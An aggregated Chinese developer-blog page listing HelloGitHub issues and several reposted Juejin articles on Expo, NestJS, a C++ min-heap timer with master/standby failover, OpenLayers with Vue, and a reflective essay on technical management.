编程星球

April 28, 2025

hellogithub

HelloGitHub 第 109 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 43 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPHP \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (5)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (3)'

April 28, 2025 12:00 AM

March 27, 2025

hellogithub

HelloGitHub 第 108 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 39 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cCSS \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (5)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (3)'

March 27, 2025 11:52 PM

February 28, 2025

hellogithub

HelloGitHub 第 107 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 43 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (5)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (1)'

February 28, 2025 12:00 AM

January 31, 2025

hackernews

juejin frontend

Expo 框架开发移动应用

React Native 是一个基于 JavaScript 的开源框架,支持使用一套代码构建 iOS 、Android 和 Web 应用。Expo 则是围绕 React Native 构建的一套工具和服务,提供了一种更简便的开发体验。

核心对比

特性React Native CLIExpo
学习曲线较陡,需要配置 Xcode 或 Android Studio平缓,使用 Expo Go 即可快速启动
项目启动速度慢,需要较多依赖安装快,仅需 Node.js 和手机或模拟器
社区支持和扩展性强,自由配置强,但受限于 Expo 生态
构建和打包手动配置提供托管的打包服务
原生模块支持灵活,但需要手动集成有限,但支持 EAS (Expo Application Services) 解决方案

适用场景

  • React Native CLI:适合有移动开发经验或对原生模块有较高定制化需求的开发者。
  • Expo:更适合快速构建 MVP(Minimum Viable Product)或移动开发新手。

搭建 Expo 项目

创建项目

使用以下命令快速创建一个 Expo 项目:

create-expo-app expo-app --template blank

创建项目后,进入项目目录并安装web依赖:

cd expo-app
npx expo install react-dom react-native-web @expo/metro-runtime

启动开发服务器:

npx expo start

学习文档

by 朦胧之 at January 31, 2025 11:50 AM

NestJs👈 | 前端spring🤔| 项目创建与项目结构解析

NestJs 是一个用于构建高效、可扩展的服务器端应用程序的渐进式 Node.js 框架

有道是前端的 spring 框架 🤡 ~ (类比 java spring 全家桶👈) , 说是如此说 , 官网已经声明 , 它是仿Angular , AOP 思想很明显 👈

以下从其特点、核心概念、应用场景等方面进行介绍:

官网 : nest.nodejs.cn/

了解 NestJs

特点

  • 强大的类型支持:基于 TypeScript 构建,利用 TypeScript 的静态类型检查功能,能在开发阶段提前发现许多潜在错误,提高代码的稳定性和可维护性,同时为开发者提供了更好的代码智能提示和自动完成功能,提升开发效率。
  • 依赖注入机制:采用依赖注入模式,使得代码的各个模块之间的依赖关系更加清晰,易于管理和维护。各个模块可以通过依赖注入的方式获取所需的其他模块或服务,降低了模块之间的耦合度,提高了代码的可测试性和可扩展性。
  • 丰富的插件生态:拥有大量的第三方插件和库,涵盖了数据库操作、身份验证、文件上传、消息队列等几乎所有常见的后端开发需求。可以方便地与各种数据库(如 MySQL、MongoDB 等)、消息队列系统(如 RabbitMQ、Kafka 等)进行集成。
  • 支持多种平台:可以在多种环境中运行,包括服务器端、浏览器端以及移动应用开发中的后端服务等。可以轻松地部署到传统的服务器环境,也可以适应云原生架构,在容器化环境(如 Docker、Kubernetes)中运行。

核心概念

  • 模块(Modules) :是 NestJs 应用的基本构建块,用于组织和分组相关的代码。每个模块都有一个明确的职责,可以包含控制器、服务、中间件、守卫等。
  • 控制器(Controllers) :主要负责处理 HTTP 请求和响应。它定义了应用的路由路径和对应的处理函数,接收客户端发送的请求,调用相应的服务方法来处理业务逻辑,并将结果返回给客户端。
  • 服务(Services) :用于封装具体的业务逻辑。它通常与数据库交互、进行数据处理、调用其他外部服务等。服务可以被控制器或其他服务注入和调用,以实现业务功能的复用。
  • 中间件(Middleware) :在请求到达控制器之前或响应返回给客户端之前执行的函数,用于对请求和响应进行预处理或后处理。
  • 守卫(Guards) :用于实现身份验证和授权功能。可以在路由级别或控制器级别使用守卫来保护应用的资源,只有通过身份验证和具有相应权限的用户才能访问受保护的路由。

应用场景

  • 企业级 Web 应用:适用于构建大型的企业级 Web 应用,能够很好地处理复杂的业务逻辑、大量的用户请求以及与各种后端系统的集成。
  • 微服务架构:非常适合用于构建微服务架构的应用,每个微服务可以作为一个独立的 NestJs 应用,通过 HTTP、gRPC 等通信方式进行交互。
  • 实时应用:可以与 WebSocket 等技术结合,用于构建实时应用,如在线聊天、实时数据监控、游戏服务器等。
  • 移动应用后端:为移动应用提供稳定、高效的后端支持,处理用户注册登录、数据存储和查询、推送通知等业务逻辑。

对比

优势

  1. 与JavaScript生态深度融合:NestJs基于JavaScript/TypeScript,能和前端技术栈无缝衔接,全栈开发时可共享代码逻辑与数据模型,减少开发和沟通成本,这方面Java集成相对复杂;和Python相比,NestJs构建前后端一体化应用更便捷,能更好利用前端JavaScript优势。
  2. 轻量级与快速开发:NestJs轻量级、启动快、开发效率高,适合快速迭代的中小型项目,比Java相对更轻便、配置启动更简单;在Web开发中,其架构清晰、代码组织规范,相比Python的Flask等框架,构建大型项目时更易维护和扩展。
  3. 基于依赖注入的可测试性:NestJs依赖注入机制和JavaScript模块化系统结合紧密,代码可测试性更高,测试代码编写更简洁直观,Java测试代码相对冗长;相比Python,NestJs的依赖注入框架更利于单元和集成测试,能提升代码质量和稳定性。

劣势

  1. 性能方面:处理高并发、大规模数据和复杂业务逻辑时,Java性能优势明显,其JVM优化成熟,内存管理和垃圾回收高效,NestJs可能存在性能瓶颈;在数据科学和数值计算领域,Python有高性能库,NestJs不适合这类复杂计算任务。
  2. 技术生态和成熟度:Java技术生态成熟,有Java EE体系和大量开源框架,解决方案完备,NestJs技术生态较新,复杂场景解决方案不够成熟;Python在数据科学、人工智能等领域优势显著,有丰富库和框架,NestJs在这方面不及Python。
  3. 人才储备和社区支持:Java社区庞大活跃,开发者众多,企业招聘容易,NestJs社区活跃度和人才数量较少;Python社区活跃,开源项目和库丰富,人才市场上Python开发者数量增长迅速,NestJs在这方面处于劣势。

初始化

1. 安装 Nest CLI

Nest CLI 是一个强大的命令行工具,可以帮助你快速创建和管理 Nest.js 项目。你可以通过 npm 全局安装 Nest CLI:

npm install -g @nestjs/cli
3. 创建新项目

使用 Nest CLI 创建一个新的 Nest.js 项目非常简单。你只需要运行以下命令:

nest new project-name

在这里,将 project-name 替换为你的项目名称。运行该命令后,CLI 会提示你选择包管理器(npm 或 yarn),选择你喜欢的包管理器,然后 CLI 会自动为你安装项目依赖。

4. 运行项目

进入项目目录并启动开发服务器:

cd project-name
npm run start

默认情况下,Nest.js 应用会在 http://localhost:3000上运行

项目结构

项目成功初始化后 , 项目结构如下 :

以下是对该NestJS项目结构中各文件及文件夹作用的详细解析:

文件夹

  • dist:存放编译后的文件。NestJS项目常使用TypeScript编写,该目录是TypeScript代码经编译转化为JavaScript后的输出位置。在项目运行时,实际执行的是此目录下的代码。
  • node_modules:用于存储项目所依赖的第三方包。开发过程中用到的各类NestJS相关模块、工具库等,比如处理HTTP请求的库、数据库连接库、各种辅助功能的插件等,都会被安装到这个目录中。
  • src:项目的核心源代码目录,包含了应用的主要业务逻辑、模块定义、控制器、服务等关键代码。开发者主要在此目录下进行功能开发工作,例如创建新的模块来处理特定业务场景、编写控制器以处理客户端请求、编写服务来实现具体的业务逻辑等。
  • test:专门用于存放测试代码的目录。在这里可以编写单元测试、集成测试等各种类型的测试用例,目的是确保项目代码的质量和稳定性,验证各个功能模块是否能够按照预期正常工作。

src目录下的文件

  • app.controller.spec.ts:这是app.controller.ts对应的测试文件。通常用于编写针对AppController的单元测试或集成测试用例,以验证AppController中各个方法的功能是否正确,比如检查控制器对不同请求的响应是否符合预期等。
  • app.controller.ts:定义了应用的控制器(Controller)。控制器负责处理传入的HTTP请求,并返回相应的响应。它通常包含多个处理不同路由的方法,这些方法会调用对应的服务来获取数据或执行特定的业务逻辑,然后将处理结果返回给客户端。
  • app.module.ts:应用的根模块(Module)文件。在NestJS中,模块是组织代码的基本单元,它可以将相关的控制器、服务、组件等组合在一起,管理它们的生命周期和依赖关系。AppModule通常会导入应用所需的其他模块,并声明本模块中使用的控制器、服务等。
  • app.service.ts:定义了应用的服务(Service)。服务用于封装具体的业务逻辑,控制器会调用服务中的方法来完成特定的业务操作,例如数据的获取、处理和存储等。服务可以被多个控制器共享,有助于提高代码的复用性和可维护性。
  • main.ts:应用的入口文件。它负责引导NestJS应用的启动,通常会创建Nest应用实例,导入根模块(如AppModule),并启动HTTP服务器来监听指定的端口,使应用能够接收和处理客户端的请求。

其他配置及说明文件

  • .eslintrc.js:ESLint的配置文件。ESLint是一个代码检查工具,此文件用于定义项目的代码规范和风格,例如缩进规则、变量命名规范、代码语法检查等。通过配置ESLint,可以帮助开发者保持代码风格的一致性,及时发现和修复代码中的潜在问题。
  • .gitignore:Git版本控制系统的忽略文件。用于指定哪些文件或目录不需要被Git跟踪,例如node_modules目录(因为其体积较大且可以通过package - json重新生成)、编译后的dist目录等。这样可以避免将不必要的文件提交到代码仓库中。
  • .prettierrc:Prettier的配置文件。Prettier是一个代码格式化工具,该文件用于配置代码格式化的规则,比如代码的缩进方式、换行规则、引号类型等。配置好后,代码在保存时会自动按照设定的格式进行调整,使代码更加美观和易读。
  • nest - cli.json:NestJS命令行工具的配置文件。用于配置NestJS CLI(Command - Line Interface)的相关参数,例如生成代码时的默认路径、模板等。借助这个配置文件,开发者可以更方便地使用命令行快速生成模块、控制器、服务等代码结构。
  • package - lock.json:记录了node_modules中每个包的确切版本信息。它的作用是确保团队成员在安装依赖包时,能够安装到与项目开发者完全相同版本的包,避免因依赖包版本差异而导致的问题。
  • package.json:项目的核心配置文件。其中包含了项目的元数据信息,如项目名称、版本、作者等;还记录了项目的依赖关系,dependencies字段记录生产环境下所需的依赖包,devDependencies字段记录开发环境下所需的依赖包;此外,还可以定义各种脚本命令,例如启动项目、运行测试等。
  • README.md:项目的说明文档。通常会包含项目的介绍、安装步骤、使用方法、示例代码等信息,目的是帮助其他开发者快速了解和使用该项目。
  • tsconfig.build.json:可能是用于项目构建时的TypeScript配置文件。它与项目的编译过程相关,可以指定一些编译选项,比如目标JavaScript版本、模块解析策略、路径映射等,以满足特定的构建需求。
  • tsconfig.json:项目整体的TypeScript配置文件。定义了TypeScript编译的各种选项,例如include字段指定哪些文件或目录需要被包含在编译范围内,exclude字段指定哪些需要被排除,compilerOptions中则定义了类型检查、模块系统、严格模式等众多编译相关的设置。

强迫症: 暂时关掉语法检查

开始可能会因为语法检查爆红 , 可以在.eslintrc.js 中暂时注释掉一下代码 :

玩耍

在浏览器中访问http://localhost:3000

我们一起找一下问什么返回 Hello world

找到 Controller 层

顺着他找到在 Service 层的 getHello

这里就是返回的结果 , 其实 NestJs 有着前端 spring 之称呼 , 看到这里 , 让人不禁想起 javaweb 中的经典三层架构用于分层解耦

总结

临时起意 , 看到 NestJs , 初始化一个 nest-start-demo 玩玩 , 之后会深入学习 ~ , 从基础到实战 !

by 浪遏 at January 31, 2025 11:43 AM

juejin career

游大唐秦王陵——一个新晋研发管理者的随想

前言

本来上传了很多图片,但是文章一直无法保存,无奈只能删减到仅存两张。

IMG_0662.HEIC

此时正值隆冬时节,零下几度的寒风裹挟着细碎的尘土,在古老的秦王陵间来回穿梭。

站在大唐秦王陵地宫的阙楼前,日光将古老的青砖染上一层柔和的金色,在地面投下规则的菱形阴影。

这座沉睡千年的五代十国遗迹,此刻正以某种奇特的频率,与我这个恰逢而立之年的新晋技术管理者似乎产生着共振。

地宫甬道

随着步入地宫深处,手机信号逐渐消失的那一刻,青砖甬道将人推入异样的静谧,反而让我感受到了一种莫名的释然。

青砖墙壁上斑驳的壁画在幽暗中若隐若现。

1月31日.png

这座全长117米的斜坡墓道,竟暗合现代系统的分层设计理念:

  • 地表阙楼是用户界面
  • 墓室是核心数据库
  • 七层青砖穹顶恰如安全防护层

五代工匠用实体空间构建的这套“系统”,竟与现代软件架构有着惊人的相似。

那些千年未移位的砖块边缘,还残留着墨斗弹线的淡痕。

没有CAD的年代,匠人们用鱼鳔胶与鲁班尺完成的误差控制,比我们写在飞书上的开发规范更接近本质。

或许真正的代码优雅,本就不需要各种工单、各种DDL的催逼,而是源于对事物本源的参悟。

榫卯

李夫人墓的唐代端楼令我震撼的不仅是它的完整度。

2871个木构件不用一根铁钉的组合方式,像极了我们追求的模块化开发理念。

每个斗拱单元都是独立的功能模块,通过标准接口(榫卯)实现无限组合。

这不正是我们推崇的“高内聚、低耦合”设计理念在古代建筑中的完美呈现吗?

当导游讲解“一材三契”的古代模数体系时,我突然意识到当下团队里缺失的,正是这种穿越千年的标准化基因——就像端楼工匠用“材分制”将误差消化在构件榫卯之间,我们的开发规范也该让不同人员的代码像这些木构件般自成韵律。

这或许比在晨会上反复强调更有效。

权力更迭

墓志铭记载李茂贞“三让帝位”的政治智慧,意外解开了我近期管理OKR时的困惑。

五代十国的节度使既要保持军事实力,又要在藩镇间维持微妙平衡。

管理者不也可以想象成混迹在团队里的节度使?

既要保证交付速度,又要维护技术债的平衡。

穹顶壁画《伎乐图》里,箜篌与羯鼓的声部在千年后依然清晰可辨。

研发团队何尝不是需要精准的节奏把控?

前端如琵琶需颗粒分明,后端似编钟贵在沉稳,DevOps则是那支掌控节拍的指挥棒。

感悟

暮色浸透墓室时,一线天光正从盗洞斜射而入。

指尖抚过冰凉的青砖接缝,突然觉得技术管理的真谛或许早就藏在历史褶皱里。

那些关于尺度与平衡、模块与整体、约束与创造的智慧,始终在等待与今人的灵光共振。

也许未来某一天,当另一个工程师站在这里,亲手触碰这些承载千年记忆的砖石,也会读出与我同样的感悟。

跨越千年的智慧,总是相通的。

古人的匠心,在今天依然闪耀。

by 一只叫煤球的猫 at January 31, 2025 07:35 AM

juejin backend

基于最小堆的定时器主备切换

定时器

总体结构:为一个最小堆,也就是STL中的优先队列,存储定时任务,线程池去定时获取任务并执行

image.png

最小堆

任务分为三种:固定时间执行,cron表达式执行,间隔执行,这些定时任务统一加入到最小堆,通过计算下一次执行时间做为key。

typedef std::priority_queue<CSharedPtr<ITaskWrap>, std::vector< CSharedPtr<ITaskWrap> >, Compare> CCronTaskQueue;
struct Compare {
    bool operator()(const CSharedPtr<ITaskWrap>& a, const CSharedPtr<ITaskWrap>& b) 
    {
        return a->GetNextTime() > b->GetNextTime();
    }
};

下一次执行最近的任务将处于堆顶

任务添加

往最小堆加入定时任务包括三个来源:

  1. 程序启动加载时,从数据库加载定时任务:定时任务通过脚本维护
  2. 程序启动中,动态添加/删除/清空定时任务
    • 从web端添加定时任务时,只是放入action队列,由定时任务触发器(单线程运行)将这些动作封装成定时任务置入最小堆,并负责最小堆的出堆
    • 其他插件动态添加/删除/清空定时任务,如后面要讲的初始化/主备切换定时任务
long CTimeTrigger::Run()
{
    // 1. 将ActionQueue的任务入堆
    while (true)
    {
        CSharedPtr<CCronTaskAction> lpAction = m_ActionQueue.Pop(TIME_TIGGER_CHECK_INTERVAL);
        while(lpAction.IsNotNull())
        {
            if(lpAction->GetAction() == CCronTaskAction::ACTION_ADD)
            {
                // 创建定时任务,入堆...
            }
            else if(lpAction->GetAction() == CCronTaskAction::ACTION_REMOVE)
            {
                // 根据任务id删除定时任务节点...
            }
            else if(lpAction->GetAction() == CCronTaskAction::ACTION_CLEAR)
            {
                // 清空定时器...
            }
            lpAction = m_ActionQueue.PopNoWait();
    }
    // 2. 将最小堆的定时任务出堆,加入到定时任务线程池的消息队列
    time_t iNow = time(NULL);
    if(m_CronTaskQueue.size() > 0)
    {
        CSharedPtr<ITaskWrap> lpTaskWrap = m_CronTaskQueue.top();
        while(lpTaskWrap.IsNotNull())
        {
            // 检测下一次执行时间,触发定时任务...
            lpTaskWrap->OnTimer(iNow);
        }
    }
}
  1. 定时任务执行后,触发回调下一次继续执行

定时任务线程池

线程池初始化,多个线程从定时任务消息队列取任务

CWorkThreadPool::CWorkThreadPool(ISchedule* lpOwner,const std::string& szThreadPoolName,int iThreadCount)
:m_lpOwner(lpOwner),m_iThreadCount(iThreadCount),m_szThreadPoolName(szThreadPoolName)
{
    m_lpQueue = new CBlockingQueue< CSharedPtr<IWorkThreadTask> >();  // 消息队列
    for(int i=0; i<m_iThreadCount; i++)
    {
        std::string szThreadName = szThreadPoolName + "-" +  std::to_string((long long) i);
        m_Threads.push_back(new CScheduleWorkThread(m_lpOwner,m_lpQueue,i,szThreadName));
    }
}

线程池运行:取消息队列任务执行

void CWorkThreadPool::Start()
{
    for(int i=0; i<m_iThreadCount; i++)
    {
        m_Threads[i]->Start();
    }
}

// 线程执行体
long CScheduleWorkThread::Run()
{
    while(true)
    {
        CSharedPtr<IWorkThreadTask> lpTask = m_lpQueue->Pop();   // 取消息队列消息
        if(lpTask.IsNotNull())
        {
            try
            {
                lpTask->Execute(lpTask);            // 执行定时任务api
            }
            catch(IError& e)
            {
                LogError("运行错误 error_no: " << e.GetErrorNo() << " error_info: "  << e.GetErrorMsg());
            }
        }
    }
    return 0;
}

执行api,返回错误信息,并计算下一次执行时间将任务再次入堆:

void CLocalScheduleTask::OnProcess(const CSharedPtr<IWorkThreadTask>& lpTask)
{
    if(m_iTaskStatus == TASK_STATUS_DISABLE) 
    {
        // 任务状态异常,直接退出...
        return;
    }

    if(m_iStep == STEP_EXEC) // 任务执行
    {
        // 执行任务,返回错误信息,并计算下一次执行时间将任务再次入堆
        ExecTask(lpTask,lpTaskInfo);
        Next(STEP_CALLBACK);
    }
}

主备切换

主机和备机连接的同一个实体数据库,内存数据库UFTDB通过NFS挂载和redo文件进行实时同步,所以二者的数据是一样的,不一样的是内存中的数据

当主机宕机后,备机成为主机,继续执行定时任务,而主机未执行完成的任务丢弃

框架启动插件加载流程:

  1. 主线程启动,按照配置文件顺序加载各个插件库文件(so或dll)
  2. 调用各个插件库文件的OnInit接口进行初始化,一般来说此时各个插件都只有一个主线程运行
  3. 调用各个插件库文件的OnStart接口进行启动,一般来说此时各个插件的内部线程在此时启动

至此,程序启动时,会调用到定时器的入口函数:

void CScheduleAgentImpl::OnStart(PFOnSetTimeOut pfOnSetTimeOut)
{
   if (pfOnSetTimeOut)
      pfOnSetTimeOut(5000);
   // 向路由插件注册
   mf_RegSvr();
   m_lpTimeTrigger->Start();
    m_lpThreadPool->Start();
   // 执行初始化任务
   CSharedPtr<CInitTask> lpInitTask = new CInitTask(this);
   CSharedPtr<ICronTask> lpCronTask = new CCronTask(this,0,"*/2 * * * * ?",-1,lpInitTask);
   AddCronTask(lpCronTask);
   // CSharedPtr<CInitTask> lpInitTask = new CInitTask(this);
   // m_lpThreadPool->CommitTask(lpInitTask);
   printf("schedule_agent started\n");
}

在进行初始化时,会添加一些系统级任务,如初始化、心跳、主备切换定时任务

void CInitTask::OnProcess(const CSharedPtr<IWorkThreadTask>& lpTask)
{
    if(m_iStep == STEP_CONNECT_MANAGER)
    {
        // 定时器插件连接所在节点
    }
    else if(m_iStep == STEP_REFRESH_CRON_TASK)
    {
        // 刷新定时任务
        RefreshCronTask(lpTask);
    }
}

void CInitTask::RefreshCronTask(const CSharedPtr<IWorkThreadTask>& lpTask)
{
   CAutoPtr<IESBMessage> lpRsp = GetRspMessage();
   if(lpRsp.IsNotNull())
   {
      int iErrorNo = lpRsp->GetItem(TAG_ERROR_NO)->GetInt();
      if(iErrorNo == 0)
      {
         m_lpOwner->RemoveCronTask(-1);
         if (m_lpOwner->IsMaster()) // Master启动心跳任务
         {
            // 添加心跳任务
            CSharedPtr<CHeartBeatTask> lpTask = new CHeartBeatTask(m_lpOwner);
            CSharedPtr<ICronTask> lpCronTask = new CCronTask(m_lpOwner, 0, "*/3 * * * * ?", 0, lpTask);
            m_lpOwner->AddCronTask(lpCronTask);
         }
         else
         {
            // Slave节点开启ChangeMasterTask检查主备切换  3s检查一次状态
            LogInfo("定时任务管理器 备机开启主备切换检查");
            CSharedPtr<CChangeMasterTask> lpTask = new CChangeMasterTask(m_lpOwner);
            CSharedPtr<ICronTask> lpCronTask = new CCronTask(m_lpOwner, 0, "*/3 * * * * ?", -2, lpTask);
            m_lpOwner->AddCronTask(lpCronTask);
         }
      }
   }
}

主机执行心跳定时任务,而备机执行主备切换定时任务

void CChangeMasterTask::OnProcess(const CSharedPtr<IWorkThreadTask>& lpTask)
{
    if(m_lpOwner->IsMaster()) // 检查当前节点是否是主节点
    {
        LogInfo("定时任务管理器 主备切换");
        // 备机在切换成主机时,需要重新添加主备切换定时任务
        m_lpOwner->RemoveCronTask(-2);
        CSharedPtr<IWorkThreadTask> lpTask = new CInitTask(m_lpOwner);
       CSharedPtr<ICronTask> lpCronTask = new CCronTask(m_lpOwner,0,"*/2 * * * * ?",-1,lpTask);
       m_lpOwner->AddCronTask(lpCronTask);
    }
    Complete();
}

主备切换检测定时任务通过CInitTask::OnProcess第一次触发后,后续的触发逻辑:

在主备正常时:

  • 主机会执行心跳的定时任务,保持插件和主机的连接
  • 备机会检测是否发生主备切换

在主备切换时:

  • 主机宕机,UFTDB将备机设置为主机
  • 备机检测自身成为主机,删除主备切换定时任务,通过初始化定时任务添加心跳定时任务,这使得它后续不会再执行主备切换的定时任务了
  • 原来的主机重启成为备机后,将执行主备切换定时任务

by 曾格爱自研 at January 31, 2025 07:04 AM

juejin frontend

Vue3 Openlayers 教程(一)Openlayers 简介与如何使用 Openlayers 地图 加载一副基本的 OSM地图

1. Openlayers 简介

这是一段来自 Openlayers 官网的概述:

💡 OpenLayers 可以轻松地将动态地图放置在任何网页中。它可以显示从任何来源加载的地图瓦片、矢量数据和标记。OpenLayers 的开发是为了进一步使用各种地理信息。它是完全免费的开源 JavaScript,在 2-clause BSD License(也称为 FreeBSD)下发布。

简单说明:

Openlayers 是一个用于在网页上显示互动地图的开源 jsvaScript库,可以使用任何来源加载的地图瓦片数据(关于瓦片在文章后面会介绍)。

官网:

OpenLayers - Welcome

Openlayers 官网与文档:

2. Openlayers 安装

使用 npm 命令安装 ol

npm install ol   // 本文用到的 ol 版本为10.3.1\

3. 创建一个基础的地图与概念说明

简单的地图实例

先看效果图

image.png

💡

这是一个非常简单的地图实例,使用了 ol 自带的数据源 OSM 与 EPSG:4326 坐标系。一个地图由地图容器、地图视图、多个地图图层、地图控件、地图标记与交互构成。

这是代码,直接复制到 vue 文件中运行即可看到地图

<template>
    <div class="base-map">
        <div id="map" style="width: 800px; height: 600px;"></div>
    </div>
</template>

<script setup>
import { Map, View } from 'ol';
import TileLayer from 'ol/layer/Tile';
import { OSM, XYZ } from 'ol/source';
import { onMounted } from 'vue';

var map = null;

onMounted(() => {
    initMap();
});

function initMap() {
    map = new Map({
    target: 'map', // 地图容器div的id
    layers: [ // 图层
        new TileLayer({
            source: new OSM() // 图层数据源 OSM为openlayer自带默认全球瓦片地图
        })
    ],
    view: new View({ // 地图视图
        center: [0, 0], // 地图中心点坐标
        projection: "EPSG:4326", // 坐标系,有EPSG:4326和EPSG:3857
        zoom: 2 // 地图默认缩放级别
    })
});
}

</script>

概念说明

Map 地图

map 是 Openlayers 的核心组件,表示地图容器。newMap 也就是创建一个地图容器,在 target 参数中绑定 dom 组件的 id 实现将地图挂载在该 dom 中,以此在界面中展示 map

在示例中 new Map 用到的属性:

  • target: 映射的容器,用于与dom进行绑定。可以是元素本身或元素的 ID。如果在构造时未指定,则必须调用 setTarget 才能渲染地图。
  • layers: 图层。如果未定义,则将渲染没有图层的地图。请注意,图层是按提供的顺序渲染的, 顺序为 [最底部图层, … , 最顶部图层]
  • view: 地图的视图。用于配制地图相关信息,如: 中心点、缩放等级、透明度、坐标系规则、旋转角度等

其他 map 属性:

  • controls:地图控件。常用的地图控件有:缩放、定位、比例尺、旋转、图层切换、全屏等。
  • pixelRatio :设备上物理像素与设备无关像素 (dip) 之间的比率。Openlayer 会自动调整,确保地图在高像素密度设备上不会模糊
  • interactions:与 Map 的交互。一般不用写,Openlayers 会使用一套默认的交互。
  • maxTilesLoading:要同时加载的最大瓦片数。默认为16
  • moveTolerance:光标必须移动的最小距离(以像素为单位),才能被检测为地图移动事件而不是单击。增加此值可以更轻松地在地图上单击。
  • keyboardEventTarget:要侦听键盘事件的元素

layers 图层

在 Map 中的图层,一个 Map 中可以有多个图层,所以这是个集合。在 ol 中,主要定义了四种图层类型,矢量瓦片图层 Vector Tile Layer、图片图层Image Layer、切片图层Tile Layer、 矢量图层Vector Layer,它们都是继承 Layer 这个基类。

map 可以通过 addLayer() 将一个新的 layer 添加到集合末尾,也可以通过 removeLayer() 移除指定 layer

layer 的主要属性:

  • source :图层的数据源,可以使用 ol 自带的OSM、天地图、百度、高徳等。
  • extent:图层渲染的边界范围。图层将不会在此范围之外进行渲染。
  • opacity:图层透明度
  • visible:图层是否可见
  • minZoom:图层最小缩放程度,如果地图缩放级别小于minZoom该图层将不显示
  • maxZoom:图层最大缩放程度,与上面同理
  • zIndex:图层层级,类型为 number 层级越大越靠上。默认为0

当前展示地图使用 Tile Layer 图层就可以,其他图层我会在之后的篇章说明

  const layer = new TileLayer({
    source: new XYZ({
      url: `http://wprd0{1-4}.is.autonavi.com/appmaptile?lang=zh_cn&size=1&style=7&x={x}&y={y}&z={z}`,
    }),
    // 设置图层展示范围 四个参数分别为左下角经度、左下角纬度、右上角经度、右上角纬度。
    // 注意:对于 EPSG:3857(Web Mercator 投影),extent 中的坐标值通常是以米为单位的平面坐标。
      extent: [14, -10, 36, 20], 
      projection: "EPSG:4326", // 图层坐标系,有EPSG:4326和EPSG:3857
      opacity: 0.9, // 图层透明度
      visible: true, // 图层可见性 可以通过 setVisible() 方法更改
      minZoom: 1, // 图层最小缩放级别
      maxZoom: 18, // 图层最大缩放级别
      zIndex: 0, // 图层层级

  });

  map.addLayer(layer);

image.png

View 视图

View 是地图视图的核心对象,用于控制地图的可视化状态和行为。它管理地图的 中心点、缩放级别、旋转角度、倾斜角度 等信息。

view 的主要属性:

  • center:地图中心位置,通常以经纬度表示。类型:[number, number]
  • zoom :地图的缩放级别,通常是一个整数,0 为最小,28 为最大。
  • rotation:地图的旋转角度,类型为 number, 0表示无旋转, Math.PI /2 表示旋转90度。
  • maxZoom:地图的最大缩放级别,限制用户可以缩放的最大级别。默认为28。
  • minZoom地图的最小缩放级别,限制用户可以缩放的最小级别。默认为0。
  • resolution:地图的分辨率。
  • extent:地图的显示范围(区域),是地图视图所能显示的最小和最大经纬度范围。
